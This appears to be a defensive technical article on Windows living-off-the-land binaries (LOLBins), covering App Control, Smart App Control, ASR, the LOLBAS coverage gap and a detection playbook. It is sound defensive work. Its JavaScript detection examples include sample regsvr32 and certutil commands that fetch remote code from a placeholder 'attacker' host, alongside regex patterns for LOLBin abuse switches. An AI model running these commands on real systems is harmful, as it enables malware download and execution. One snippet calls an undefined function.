The Aha moment for SAC arrives when a defender reads the Microsoft Learn SAC overview carefully:

Note that some older Microsoft binaries are considered unsafe because attackers can potentially use them to gain unauthorized access. For a complete list of these files, please see Application Control for Windows. -- Microsoft Learn, Smart App Control overview [@ms-sac-overview]

That sentence resolves the most common misconception about SAC. Smart App Control does not introduce a new LOLBin-handling mechanism. It defers LOLBin handling to the App Control Recommended Block Rules deny list. SAC inherits the same 167-binary coverage gap Generation 2 has. The reputation-and-AI gate is a useful addition for unknown third-party software; for Microsoft-signed LOLBins it is the deny list with a different user interface.

Generation 3's other documented failure mode is silent disable. A device that was protected becomes unprotected with no admin signal. In August 2024, Elastic Security Labs published the Dismantling Smart App Control analysis [@elastic-sac], which enumerated five distinct bypass classes: signed malware via EV certificates (SolarMarker burned through more than 100 unique certs), reputation hijacking via FFI-capable script hosts (Lua, Node.js, AutoHotkey), reputation seeding within roughly two hours, reputation tampering, and the LNK-stomping smuggling technique tracked as CVE-2024-38217 [@bleeping-lnk]. The LNK-stomping samples in VirusTotal date back six years.

Generation 4: Windows Resiliency Initiative (November 2024)

On November 19, 2024, at Microsoft Ignite, the company announced the Windows Resiliency Initiative (WRI). It is an umbrella program, not a new enforcement mechanism, with four focus areas. The third is stronger controls for what apps and drivers are allowed to run [@ms-wri-nov2024]. The June 2025 follow-up post adds the Microsoft Virus Initiative 3.0 (MVI 3.0) and the user-mode security agents work that moves third-party EDR drivers out of the kernel [@ms-wri-jun2025]. As of May 2026, WRI has not shipped a qualitatively new LOLBin-class enforcement primitive. It is a re-framing of the controls that already existed.

flowchart LR G0["Gen 0: SRP
2001-2009"] --"closes 'no scalable publisher rule'"--> G1["Gen 1: AppLocker
default publisher rule
2009-2017"] G1 --"closes 'per-admin deny rules don't scale, rename bypass'"--> G2["Gen 2: App Control + Recommended Block Rules
2017-present"] G2 --"closes 'no default-on for unmanaged endpoints'"--> G3["Gen 3: Smart App Control
2022-present"] G3 --"institutional re-framing"--> G4["Gen 4: Windows Resiliency Initiative
2024-present"] G4 -. unresolved .-> Class["The LOLBin class itself"] style Class stroke:#c33,stroke-width:2px style G4 stroke:#888,stroke-dasharray: 5 5

The summary table for the generational story:

Generation	Years	Closed	Did not close
0: SRP	2001-2009	--	Undeployable at enterprise scale
1: AppLocker	2009-2017	Allow-list scale problem	Squiblydoo, rename bypass, Authenticode blindness
2: App Control + Block Rules	2017-present	Rename bypass, per-name deny	167-binary coverage gap
3: Smart App Control	2022-present	No default-on for consumers	Silent disable, defers LOLBins to Gen 2
4: WRI	2024-present	-- (institutional framing)	No new LOLBin enforcement primitive

Note: Each generation adds a layer; no generation removes a class. Four bypass classes have been closed in chronological order, but the 167-binary residual between the LOLBAS catalog and the Recommended Block Rules deny list has not narrowed. The class is what survives the chain.

Four generations, each adding a layer. None removing the class. The next question follows: what does the 2026 state of the art look like, taken as a whole?

7. The 2026 State of the Art Is a Stack of Eight

A 2026 Windows shop does not pick one of these layers. It stacks all eight. The state of the art for LOLBin defense is the bundle, not a single technique, and the bundle's coverage is the union of what each layer sees.

The eight layers, in roughly the order a defender would deploy them:

App Control for Business with Recommended Block Rules -- the enterprise control plane. Kernel-mode signature evaluation, signed XML policies, and Microsoft's curated deny list merged into the base policy [@ms-bypass-rules]. This is the only layer that enforces by default-deny at the loader.
Smart App Control -- the consumer reputation gate. Reputation lookups against a Microsoft cloud service, AI classification as the fallback, evaluation-then-enforce lifecycle [@ms-sac-overview]. Defers LOLBins to the App Control deny list.
Attack Surface Reduction (ASR) rules -- Defender for Endpoint's behavioral choke points. Most LOLBin-relevant rules shipped with Windows 10 1709 in October 2017 [@ms-asr-rules-ref]: Block all Office applications from creating child processes, Block executable content from email client and webmail, Block JavaScript or VBScript from launching downloaded executable content, Block use of copied or impersonated system tools. Block process creations originating from PSExec and WMI commands arrived later in Windows 10 1803.
Behavioral EDR with Sysmon parent-child detection -- the telemetry layer that catches what the enforcement layers miss. SwiftOnSecurity's sysmon-config repository [@swiftonsec], the more modular olafhartong/sysmon-modular configuration [@olafhartong], and vendor-curated analytics like Splunk Research's rule 25689101-012a-324a-94d3-08301e6c065a for renamed-LOLBin detection [@splunk-detection].
AMSI with PowerShell Constrained Language Mode -- in-process script-content inspection.AMSI is the only Microsoft-shipped mechanism that lets antimalware inspect script bodies after macro expansion and before eval, which is the moment the script has been decoded but not yet executed [@ms-amsi-portal]. That moment is the single richest detection signal in the script-host attack surface. The answer Microsoft shipped specifically for PowerShell, JScript, VBScript, and the script hosts Microsoft directly controls.
The LOLBAS catalog itself -- a defensive data structure. Detection engineers parse it to generate rules; SIEM vendors ingest it as detection content; the MITRE ATT&CK pages cite individual entries as primary references [@attack-t1218].
ML-driven LOTL classification -- the research frontier. Ryan Stamp's 2022 NLP-over-command-line approach [@arxiv-stamp] and the 2024 work by Trizna and collaborators reporting a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] [@hf-quasarnix].
Microsoft Vulnerable Driver Blocklist and LOLDrivers -- the kernel-driver analogue. Microsoft's blocklist is enabled by default with HVCI, Smart App Control, or S mode active [@ms-driver-blocklist]; the community-maintained LOLDrivers project at loldrivers.io is the sibling catalog [@loldrivers].

The Antimalware Scan Interface, introduced with Windows 10 1507. AMSI lets script hosts (PowerShell, JScript, VBScript, the `.NET` runtime) hand the script content they are about to evaluate to the registered antimalware product for inspection before execution. AMSI closes one of the few in-process content-inspection points Microsoft directly controls; it does not see scripts run through non-AMSI hosts (older COM scriptlets, Lua, Node.js, AutoHotkey FFI).

Each layer addresses a different point in the LOLBin life cycle. App Control and SAC enforce at load time, before the binary runs. ASR enforces at behavior time, blocking specific parent-child or write-then-exec patterns. EDR with Sysmon observes at runtime and reacts after the fact. AMSI inspects script content inside the running process. The catalog enumerates what to look for; ML models generalize beyond it. The driver layer covers a sibling class.

flowchart TD Endpoint["Windows endpoint"] Endpoint --> L1["1. App Control + Recommended Block Rules (kernel CI, default deny)"] Endpoint --> L2["2. Smart App Control (consumer reputation gate)"] Endpoint --> L3["3. ASR rules (behavioral choke points)"] Endpoint --> L4["4. EDR + Sysmon (telemetry and post-hoc detection)"] Endpoint --> L5["5. AMSI + PowerShell CLM (in-process script content)"] Endpoint --> L6["6. LOLBAS catalog (detection-engineering data structure)"] Endpoint --> L7["7. ML LOTL classification (research frontier)"] Endpoint --> L8["8. Driver blocklist + LOLDrivers (sibling class)"]

The head-to-head comparison matrix shows what each layer brings and where the residual risk lives:

Layer	Decision time	Coverage breadth	Marginal cost per new LOLBin	Failure mode if attacker succeeds
App Control + Block Rules	Load	~40 binaries	Microsoft must add it to the XML; months-to-years lag	Binary loads and runs
Smart App Control	Load	Reputation + AI gate; defers LOLBins to App Control	None (inherits App Control)	Reputation hijack succeeds; silent disable possible
ASR rules	Behavior	~8 LOLBin-relevant rules	Rule author must encode the new pattern	Pattern slips through; user-facing block toast missing
EDR + Sysmon	Runtime	Whole catalog if rules exist	Rule per binary, per variant	Detection fires after execution
AMSI + CLM	In-process	PowerShell and AMSI-instrumented hosts only	Free; instrumented automatically	Non-AMSI host (older COM scriptlet, Lua) bypasses
LOLBAS catalog	Reference	207 binaries	Community editorial cost	Out-of-catalog LOLBin missed
ML LOTL	Runtime	Generalizes beyond catalog	Retraining cost	False-positive flood; adversarial drift
Driver blocklist	Load (kernel)	Sibling class (drivers, not binaries)	Microsoft and community curation	Vulnerable driver loads pre-blocklist

powershell.exe is conspicuously absent from the App Control Recommended Block Rules deny list, even though it is the most-abused script host in the catalog. The reason is that Microsoft shipped a different answer for PowerShell specifically: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103). For PowerShell the response is instrument deeply, do not deny; for the rest of the catalog the response is deny when feasible. There is no published Microsoft criterion explaining when each strategy applies.

Layer 6 -- the catalog as data structure -- is the layer most defenders underuse. The YAML is parsable, the function taxonomy is closed, the MITRE ATT&CK IDs are stable. A SOC can compile the catalog into a command-line classifier in a few dozen lines:

{` // A minimal classifier that takes a candidate Windows command line and // returns the LOLBAS function category it appears to match. Real SOC // content compiles the YAML at build time and emits a rule per entry.

const PATTERNS = [ { binary: 'regsvr32', re: /regsvr32(\.exe)?.+\/i:https?:/i, cat: 'Execute (AWL Bypass)' }, { binary: 'rundll32', re: /rundll32(\.exe)?\s+.+\.dll,/i, cat: 'Execute' }, { binary: 'mshta', re: /mshta(\.exe)?\s+(https?:|vbscript:|javascript:)/i, cat: 'Execute' }, { binary: 'certutil', re: /certutil(\.exe)?.+(-urlcache|-decode)/i, cat: 'Download / Decode' }, { binary: 'bitsadmin',re: /bitsadmin(\.exe)?.+\/transfer/i, cat: 'Download' }, { binary: 'msbuild', re: /msbuild(\.exe)?\s+.+\.csproj|\.xml/i, cat: 'Compile' }, { binary: 'installutil', re: /installutil(\.exe)?\s+\/u\s+/i, cat: 'Execute' }, { binary: 'wfc', re: /(microsoft\.workflow\.compiler|wfc)(\.exe)?/i, cat: 'Compile' } ];

function classify(cmd) { for (const p of PATTERNS) { if (p.re.test(cmd)) return { binary: p.binary, category: p.cat }; } return null; }

const samples = [ 'regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll', 'certutil -urlcache -split -f http\u003a//attacker/x.exe c:\\users\\x.exe', 'msbuild.exe project.csproj /t:Build', 'wfc.exe rules.xoml config.txt' ]; for (const s of samples) console.log(s, '->', classify(s)); `}

Eight layers, none of which covers all 207 catalog entries. Why is the coverage gap so persistent? The next section compares the three competing taxonomies that have spent the last decade enumerating the class and shows what they agree on and where they diverge.

8. Three Taxonomies, Three Counts

Three groups have spent the last decade enumerating the LOLBin class from three different angles, and they disagree on the count. The disagreement is informative.

LOLBAS is the community-curated, behaviorally annotated, MITRE-mapped, full binary enumeration. The count as of May 2026 is 207 binaries plus 27 libraries and scripts, totaling 234 entries [@lolbas-github]. Every entry has a YAML file, a function category, an ATT&CK technique ID, a primary-source acknowledgement, and detection guidance. The catalog is exhaustive by design: the editorial criteria admit any Microsoft-signed binary with unexpected attacker-useful functionality.

MITRE ATT&CK organizes the same behaviors as techniques rather than binaries. The relevant nodes are T1218 (System Binary Proxy Execution, with sub-techniques for Regsvr32, Rundll32, Mshta, InstallUtil, and others) [@attack-t1218]; T1216 (System Script Proxy Execution) [@attack-t1216]; T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127]; T1197 (BITS Jobs) [@attack-t1197]; T1140 (Deobfuscate/Decode Files or Information); and T1105 (Ingress Tool Transfer). The framework has fewer canonical entries than LOLBAS but richer threat-intelligence linkage: adversary groups, observed campaigns, and detection rules cluster around each technique. The MITRE pages cite LOLBAS as the primary source for binary-level abuse detail.

Microsoft's App Control Recommended Block Rules denies roughly 40 binaries [@ms-bypass-rules]. That is the intersection Microsoft will commit to denying by default in a fully-managed App Control policy. The list is version-pinned, signed, and shipped as XML for administrators to merge into their base policies. Entries include mshta.exe, Microsoft.Workflow.Compiler.exe, installutil.exe, conditionally msbuild.exe, and the older system.management.automation.dll versions that allowed Constrained Language Mode bypass.

Dimension	LOLBAS	MITRE ATT&CK	App Control Block Rules
What counts as an entry	Per-binary YAML file	Per-technique node	Per-binary deny rule
Count (May 2026)	234 (207 binaries + 27 libs/scripts)	~6 top-level techniques, ~12 LOLBin sub-techniques	~40 binaries
Update mechanism	GitHub pull request, community editorial board	MITRE editorial cycle (quarterly)	Microsoft Learn page revision
Enforcement?	None -- reference only	None -- reference and CTI	Yes -- kernel-mode App Control deny
Primary audience	Detection engineers, red teams	Threat intel analysts, CISO reporting	Enterprise App Control administrators

flowchart TB subgraph LOLBAS["LOLBAS: 207 binaries"] L1["~40 covered by Block Rules"] L2["~167 binaries not denied by default"] end subgraph MITRE["MITRE ATT&CK: ~12 LOLBin sub-techniques"] M1["Cites LOLBAS as primary source"] end subgraph Block["App Control Block Rules: ~40 binaries"] B1["Subset of LOLBAS"] end L1 -.- B1 L2 -. "the gap" .-> Gap["167-binary residual"] MITRE -.- LOLBAS

The discrepancy is the load-bearing observation of this article. 207 known versus ~40 denied. The 167-binary residual is the gap between what the community has proven possible and what Microsoft will deny by default. The residual is not a curation backlog. Microsoft maintains the deny list; researchers submit candidates; the criterion for inclusion is operational impact, not novelty. Binaries that would break Windows administration if denied are excluded by design. That is why regsvr32.exe, rundll32.exe, certutil.exe, and bitsadmin.exe are all in LOLBAS, all in MITRE ATT&CK, and none of them denied by default.

Jimmy Bayne -- one of the LOLBAS co-maintainers -- runs a parallel community list at bohops/UltimateWDACBypassList [@bohops-wdac] that explicitly tracks the superset of binaries that bypass WDAC, including entries that may not yet have made it into the main LOLBAS catalog. Oddvar Moe's pre-LOLBAS UltimateAppLockerByPassList [@api0cradle-applocker] performs the same role for AppLocker-era bypasses. Together, the two community lists are the closest available proxy for the real upper bound on LOLBin candidates.

Note: LOLBAS enumerates 207 Microsoft-signed binaries with attacker-useful primitives. The App Control Recommended Block Rules deny roughly 40 of them by default. The 167-binary residual is the central empirical finding of the LOLBin literature: the binaries Microsoft will not deny are the binaries Windows system administration depends on.

If the gap were random, Microsoft could close it over time. But it is not random. The binaries Microsoft will not deny are precisely the binaries Windows system administration depends on: the COM registration utility, the DLL loader, the certificate installer, the BITS download helper. The pattern is too clean to be accidental. That is not a coverage problem. That is an architectural problem. Section 9 explains why.

9. The Architectural Argument: Why LOLBins Cannot Be Eliminated

Here is the thesis. The LOLBin class is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

The argument has four steps, and each step is empirically grounded in something this article has already shown.

Step 1. Windows ships tens of thousands of Microsoft-signed binaries across SKUs. The default AppLocker rule template admits every executable under %windir% or %programfiles% via three path-based default rules (executables, scripts, and Windows Installer files) [@ms-applocker-default-rules], and the canonical managed deployment adds a publisher rule that trusts the Microsoft signer chain; the default App Control configuration trusts the same Microsoft signer certificate chain. The first two control planes treat the entire signed-Microsoft binary set as admissible.

Step 2. A LOLBin is any signed binary that exposes a "load and execute attacker-controlled payload" surface. That surface includes loading a script, loading a DLL, loading a XAML or XOML file, running an inline MSBuild task, running a COM scriptlet, running an HTA, running a WSH job, decoding Base64, fetching a URL into the BITS queue, or invoking a [RunInstaller(true)] class. Each primitive sits behind a documented switch or file format. None of them is a vulnerability in the buffer-overflow sense.

Step 3. Every one of those primitives is required by some legitimate administrative tooling. Microsoft cannot remove Microsoft.Workflow.Compiler.exe without breaking the .NET Workflow Foundation runtime that the binary services. It cannot remove msbuild.exe without breaking the developer toolchain. It cannot remove regsvr32.exe without breaking COM registration. It cannot remove bitsadmin.exe without breaking corporate update servers that depend on the BITS channel. It cannot remove certutil.exe without breaking certificate-installation workflows that ship in every Active Directory deployment guide.

Step 4. Therefore the only available options are (a) revoke individual binaries from the default trust path via the App Control Recommended Block Rules deny list; (b) layer behavioral blocks on top via ASR, SAC, EDR, and AMSI; or (c) rebuild the Windows system-administration model. Microsoft has chosen (a) plus (b). Option (c) is out of scope for backward-compatibility reasons.

flowchart TD Problem["Signed binary with load-and-execute primitive,
abused with attacker arguments"] Problem --> A["Option A: Revoke from default trust path"] Problem --> B["Option B: Layer behavioral blocks"] Problem --> C["Option C: Rebuild system-administration model"] A --> A1["App Control Recommended Block Rules (~40 binaries)"] A --> A2["Microsoft Recommended Driver Block Rules"] B --> B1["ASR, Smart App Control, EDR, AMSI, Constrained Language Mode"] C --> C1["Not shipping. Would break Windows administration."] style C stroke:#888,stroke-dasharray: 5 5 style C1 stroke:#888,stroke-dasharray: 5 5

The strongest evidence that Microsoft itself accepts this framing is the msbuild.exe deny-list entry quoted in Section 5 -- a context-dependent rule that denies msbuild.exe unless the endpoint is a developer reference system [@ms-bypass-rules]. That single Microsoft sentence is the architectural argument in one paragraph: Microsoft is admitting, in writing, that the deny list is not absolute. Whether msbuild.exe is a LOLBin depends on what the machine is used for. There is no possible universal deny rule for msbuild.exe because there is no universal answer to do you build .NET projects on this machine?. The deny list can only ever encode the policy for the use case the administrator has in mind.

Key idea: The LOLBin problem is not a defect to be fixed. It is a property of a thirty-year-old design decision that the entire Windows administration model now depends on.

A theoretically clean fix exists and is worth naming. It would attach a behavioral capability description to each Authenticode-signed binary at sign time -- something like this binary may load and execute COM scriptlets from URLs, or this binary may compile and run unsigned C# from disk. App Control policy would then enforce on the capability set rather than the publisher identity. A LOLBin would be any binary whose capability set, intersected with the administrator's policy, exceeded the policy's high-water mark.

A capability-extended Authenticode -- in which each signed binary's metadata declared the categories of behavior it could perform, and App Control policy could deny by capability rather than by name -- would close the structural gap. It is the design that flows directly from the analysis in Section 3. It is also not on Microsoft's public roadmap as of Ignite 2024. The reason is not technical. The reason is that every existing signed Microsoft binary would have to be re-signed, every existing third-party signed binary would have to be re-classified, and every administrator would have to learn a new policy vocabulary. The cost is paid by everyone at once; the benefit accrues to defenders only as adoption approaches one.

A further theoretical observation is worth recording. The decision problem behind LOLBin enforcement -- does this signed binary, invoked with these arguments, execute attacker-controlled code? -- is Rice-class undecidable in the limit. By Rice's theorem [@rice-1953], any non-trivial semantic property of arbitrary programs is undecidable, which means no static analysis can perfectly classify every possible invocation of every possible signed binary. In practice the problem is also backward-compatibility-bounded: even where decidable approximations exist, Microsoft cannot apply them to existing binaries without re-signing or breaking deployments.

The detection side has a measurable upper bound that the enforcement side does not. The Trizna 2024 result -- a 90 percent detection improvement at a false-positive rate of $10^{-5}$ on enterprise-scale LOTL command-line evaluation, with reverse shells as the headline sub-class [@arxiv-trizna] -- is the closest published quantitative result on what ML-driven command-line classification can achieve. There is no equivalent enforcement-side result. The asymmetry is not accidental: detection can be probabilistic, but enforcement at the loader must be deterministic.

If the class cannot be eliminated, the next honest question is: what cannot be fixed even in principle, and what work is still open? That is the next section.

10. Eight Open Problems in 2026

Eight problems remain genuinely open as of May 2026. None is fixable with the controls Microsoft currently ships, and each one has direct operational consequences a SOC must plan around.

Problem	Why it matters	What has been tried	Why it isn't fixed
Block-list latency	Disclosure-to-deny lag is months to years	Periodic Recommended Block Rules updates [@ms-bypass-rules]	Microsoft does not publish a SLA; no quantitative lag study exists
Version-pinned bypass via older signed copies	Attacker drops a 2017-vintage signed `wfc.exe` from an archive; deny list misses it	Hash-revocation rules per binary	Asymptotic completeness of the hash list is unattainable in practice
Smart App Control silent disable	A protected device becomes unprotected with no admin signal	Microsoft documents the behavior; in-place re-enable shipped via a recent Windows cumulative update [@ms-sac-support]	Silent disable itself remains by design
No capability-extended Authenticode	Publisher trust has no first-class representation of behavior	Discussed in academic and red-team writing; not on Microsoft roadmap	See Section 9: would require re-signing the world
AMSI gaps in non-AMSI script hosts	Native COM scriptlets, older .NET, Lua, Node.js, AutoHotkey FFI bypass AMSI	Microsoft instrumented PowerShell, JScript, VBScript	Third-party script hosts opt in or do not
Detection-engineering economics	Per-LOLBin rule authoring scales linearly with catalog growth	Community projects (SwiftOnSecurity, sysmon-modular), Splunk Research [@splunk-detection]	LOLBAS adds entries faster than rules can be generalized
Coverage gap LOLBAS vs MITRE vs Block Rules	No published mapping reconciles all three	Manual cross-references in vendor documentation	Each project has different editorial scope
The PowerShell special case	"Instrument deeply" for one host, "deny" for the others	AMSI + CLM + script-block logging	No published Microsoft criterion for when each applies

The empirical anchor for why this matters is published. In its Q3 2025 TTP Briefing, Cybereason reported the share of investigations involving LOLBins:

We observed living-off-the-land binaries (LOLBINs) usage in 17% of investigations in Q3, up from 13% in H1 2025. -- Cybereason TTP Briefing Q3 2025 [@cybereason-q3-2025]

A four-percentage-point quarter-over-quarter increase is not a noise-level move. It is the visible attacker-economics response to the SOTA: as enforcement layers improve at detecting unsigned third-party tooling, attackers shift further into the trust-by-signature space. The catalog grows because the incentive to find new LOLBins is growing.

Two of the eight problems deserve a closer look. Smart App Control's silent-disable behavior is the most under-documented operational failure mode in the entire 2026 SOTA. The documented disable trigger is, in paraphrase, that SAC turns off when Microsoft's cloud service cannot make a confident prediction about the user's typical app usage [@ms-sac-overview]. The user-facing consequence is the same regardless of the exact wording: a Windows 11 endpoint that booted protected by SAC silently transitions to a state in which SAC does nothing. A recent Windows cumulative update added an in-place re-enable path that improved on the original wipe-and-reinstall requirement (see the Callout below), but it does not surface a disable event to administrators.

Note: SAC disables itself silently when it cannot make a high-confidence safety prediction. The disabled state used to be one-way; a recent Windows cumulative update added a re-enable path that no longer needs a clean install [@ms-sac-support]. But the disable itself still surfaces no admin signal. Plan defenses as if SAC is best-effort, not load-bearing.

The other under-discussed problem is the PowerShell special case. PowerShell is the most-abused script host in Windows by a wide margin, and yet powershell.exe is not on the App Control deny list and never has been. The reason is that Microsoft shipped a different answer specifically for PowerShell: Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), module logging (Event ID 4103), and over-the-shoulder transcription [@ms-ps-logging]. The PowerShell answer is instrument deeply, do not deny. For the rest of the LOLBAS catalog the answer is deny when feasible, detect otherwise. No published Microsoft criterion explains which strategy applies to a given binary; the choice is made one binary at a time inside Microsoft's security engineering organization.

If the problems remain open, what can a practitioner actually do tomorrow? The playbook is the next section.

11. A 2026 LOLBin Defense Playbook

Even with the structural ceiling, a 2026 Windows shop can do a great deal. The playbook below is in rough order of operational priority: top items pay the biggest defensive dividend per hour of administrator time.

Deploy App Control for Business in enforce mode with the Recommended Block Rules merged into the base policy. This is the single highest-value step. Microsoft Learn publishes the deny-list XML and a step-by-step merge guide [@ms-bypass-rules]. For organizations that want a wider net than the official list, the bohops/UltimateWDACBypassList community superset [@bohops-wdac] is the standard reference.
Where Smart App Control is eligible, enable it on clean-installed Windows 11 22H2+ endpoints. Document the silent-disable failure mode in your incident runbook so an unexpectedly disabled SAC instance gets a ticket instead of being ignored. A recent Windows cumulative update added an in-place re-enable path inside the Windows Security app, so a disabled SAC is no longer a wipe-and-reinstall event (see Section 10) [@ms-sac-support].
Apply the LOLBin-relevant ASR rules in block mode [@ms-asr-rules-ref]: Block all Office applications from creating child processes (1709+), Block executable content from email client and webmail (1709+), Block JavaScript or VBScript from launching downloaded executable content (1709+), Block use of copied or impersonated system tools (1709+), and Block process creations originating from PSExec and WMI commands (1803+). Coverage on Windows 11 24H2 is uniform.
Deploy SwiftOnSecurity's sysmon-config as a baseline [@swiftonsec]; consider olafhartong/sysmon-modular [@olafhartong] for tiered configuration. Tune the per-LOLBin detection patterns documented on each LOLBAS entry's Detection field. The Splunk Research analytic 25689101-012a-324a-94d3-08301e6c065a for renamed-LOLBin moves is a good starting point for SIEM rule design [@splunk-detection].
Write detection content for the canonical eight. Parent-child plus argument patterns for regsvr32, mshta, certutil, rundll32, bitsadmin, msbuild, installutil, and Microsoft.Workflow.Compiler.exe cover the bulk of real-world incidents. The Atomic Red Team test corpus for T1218.010 [@atomic-t1218] supplies ready-to-run validation payloads. Run them in audit mode against your detection content before relying on it in production.
Enable PowerShell script-block logging (Event ID 4104) and module logging (Event ID 4103). Constrained Language Mode activates automatically when an App Control policy is in enforce on the script file's location, so step 1 also pays for the PowerShell hardening.
Subscribe to LOLBAS GitHub releases. New entries arrive every few weeks. Put the Recommended Block Rules page on the SOC's monthly review cadence so that a new XML version is integrated within one patch cycle.
Map your detections to MITRE ATT&CK technique IDs. T1218 and its sub-techniques (.004, .005, .010, .011), T1127.001, T1216, T1197, T1140, and T1105 are the LOLBin-relevant nodes. The mapping lets the SOC coverage matrix and the LOLBAS catalog stay aligned.
For the driver class, enable HVCI on supported hardware. The Microsoft Vulnerable Driver Blocklist is enabled by default whenever HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. Cross-reference loldrivers.io [@loldrivers] for SIEM rule input.

Note: Microsoft's own guidance is to deploy every new App Control policy in audit mode for two to four weeks before flipping to enforce. The audit-mode telemetry surfaces business-critical workflows that depend on otherwise-deniable binaries (the msbuild.exe developer-workstation case is the canonical example). The Recommended Block Rules deployment is no exception [@ms-bypass-rules].

A 2026 SOC's top-of-funnel LOLBin detection combines the parent-child pattern with argument inspection from Section 1, generalized across the canonical eight:

{` // The minimal cross-binary detection logic a SOC writes for the canonical // eight LOLBins. Each rule is a parent-child pair plus an argument regex. // Production rules add tuning fields (user-context allow-lists, signing // chain checks, network destination reputation), but this is the spine.

const RULES = [ { name: 'Squiblydoo (regsvr32)', parent: /(cmd|powershell|wscript|cscript|wmiprvse|winword|excel|outlook)\.exe$/i, child: /regsvr32\.exe$/i, args: /\/i:https?:/i }, { name: 'Mshta remote', parent: /(cmd|powershell|outlook|winword|excel)\.exe$/i, child: /mshta\.exe$/i, args: /(https?:|javascript:|vbscript:)/i }, { name: 'Certutil download', parent: /./i, child: /certutil\.exe$/i, args: /-urlcache.+-f\s+https?:/i }, { name: 'Bitsadmin transfer', parent: /./i, child: /bitsadmin\.exe$/i, args: /\/transfer\s+/i }, { name: 'Msbuild inline', parent: /(cmd|powershell|wscript|cscript)\.exe$/i, child: /msbuild\.exe$/i, args: /\.(csproj|xml|build)\b/i }, { name: 'InstallUtil /U', parent: /(cmd|powershell)\.exe$/i, child: /installutil\.exe$/i, args: /\/u\s+/i }, { name: 'Workflow.Compiler chain',parent: /.*/i, child: /(microsoft\.workflow\.compiler|wfc)\.exe$/i, args: /.+/i }, { name: 'Rundll32 COM', parent: /(cmd|powershell|wscript|cscript|winword|excel)\.exe$/i, child: /rundll32\.exe$/i, args: /(javascript:|url\.dll,fileprotocolhandler|shell32\.dll,shellexec_rundll)/i } ];

const event = { parentImage: 'C:\\Windows\\System32\\cmd.exe', image: 'C:\\Windows\\System32\\regsvr32.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Matched rules:', evaluate(event)); `}

For organizations operating under FedRAMP High or CMMC L3, the App Control for Business deployment is not optional. The controls that map to NIST SP 800-53 Rev. 5 controls AC-3 (access enforcement) and CM-7 (least functionality) [@nist-800-53-r5] effectively require a kernel-enforced application allow-list, and the Recommended Block Rules deny list is the published Microsoft baseline. The deployment work in step 1 of the playbook is therefore a compliance prerequisite as well as a security control. After deploying an App Control policy in audit mode, validate that the policy is loaded with `CiTool.exe -lp` on Windows 11 22H2+. Audit-mode block events appear in the *Microsoft-Windows-CodeIntegrity/Operational* event log as Event ID 3076 (would-block) and *AppLocker/MSI and Script* event log as Event ID 8003 (audit). Run a known-benign workflow for two weeks and review the would-block events before flipping the policy to enforce.

The playbook covers the controls Microsoft and the community ship today. The final pass is the set of misconceptions that survive even after the playbook: the FAQ.

12. Frequently Asked Questions and Closing

The structural argument leaves a small number of recurring questions that even an experienced Windows defender asks the first time they read the LOLBAS catalog end to end. The seven below are the ones that matter most.

No. An Authenticode signature is immutable per signed file: once a file is signed and shipped, the signature travels with the bytes forever. Revocation does not work by removing the signature. It works by adding the binary to a deny list that the loader checks alongside the signature. That deny list is the App Control Recommended Block Rules XML [@ms-bypass-rules]. There is no global mechanism by which Microsoft can retroactively "unsign" a binary that already exists on customer disks, because the binary's bytes have not changed. Because PowerShell Constrained Language Mode, AMSI script-content inspection, script-block logging (Event ID 4104), and module logging (Event ID 4103) [@ms-ps-logging] together constitute Microsoft's specific answer for PowerShell. The strategy is *instrument deeply, do not deny*. For the rest of the LOLBin catalog the strategy is *deny when feasible, detect otherwise*. The choice is made one binary at a time; no published Microsoft criterion explains when each applies. PowerShell is the only Microsoft-shipped example of the *instrument* strategy applied at full depth. Partially, and only on eligible endpoints (clean-installed Windows 11 22H2 or later, with sufficient device telemetry to keep SAC in *enforce* mode). SAC explicitly delegates LOLBin handling to the App Control Recommended Block Rules deny list -- the Microsoft Learn SAC overview page contains the verbatim sentence pointing administrators at *Application Control for Windows* for the LOLBin list [@ms-sac-overview]. SAC's enforcement model is reputation-and-AI, not deny-list. It silently disables itself on insufficient signal. Until recently the only fix was to reinstall Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support], but the silent disable itself remains (see Section 10). Yes. As of May 26, 2026, the repository is receiving regular pull requests, has 8,567 stars and 1,135 forks per the GitHub API [@lolbas-org-api], and the editorial maintainers (Moe, Bayne, Richard, Spehn, Somerville, Beukema, Hernandez) are actively reviewing submissions. The catalog has grown from 130 binaries at the original 2018 founding to 207 in the May 2026 enumeration. New entries arrive every few weeks. Yes. The LOLDrivers project at `loldrivers.io` [@loldrivers] catalogs vulnerable signed kernel drivers -- the driver-class analogue of LOLBAS. Microsoft's own Vulnerable Driver Blocklist is enabled by default when HVCI, Smart App Control, or S mode is active [@ms-driver-blocklist]. GTFOBins at `gtfobins.github.io` [@gtfobins] is the Unix analogue, cataloging vendor-shipped utilities on Linux and BSD with attacker-useful side effects. The three projects share the same conceptual move applied to different trust surfaces. No. The LOLBAS README itself attributes the project's foundational talk to Oddvar Moe's *#LOLBins -- Nothing to LOL about!* at DerbyCon 8 in October 2018 [@youtube-moe-lolbins] [@derbycon8-moe]. The 2017 BlueHat IL talk by Matt Graeber and Casey Smith [@bluehat-il-mirror] is one earlier intellectual ancestor, and the canonical *misplaced trust* framing was named the following year in Matt Graeber and Lee Christensen's *Subverting Trust in Windows* at TROOPERS 2018 [@specterops-subverting-trust]; both predate the LOLBAS catalog and neither is the project's founding event. Several secondary sources conflate the talks; the primary attribution chain is the LOLBAS README. Merge the App Control Recommended Block Rules XML into a managed App Control base policy and roll it out in audit mode for two to four weeks before flipping to enforce [@ms-bypass-rules]. The audit-mode telemetry surfaces the legitimate-but-rare workflows that would break under enforce; the enforce-mode policy then denies roughly 40 of the highest-impact LOLBins by default. Given the Cybereason Q3 2025 finding that 17 percent of investigations involved LOLBins [@cybereason-q3-2025], the effort pays for itself within the first quarter after deployment.

Closing

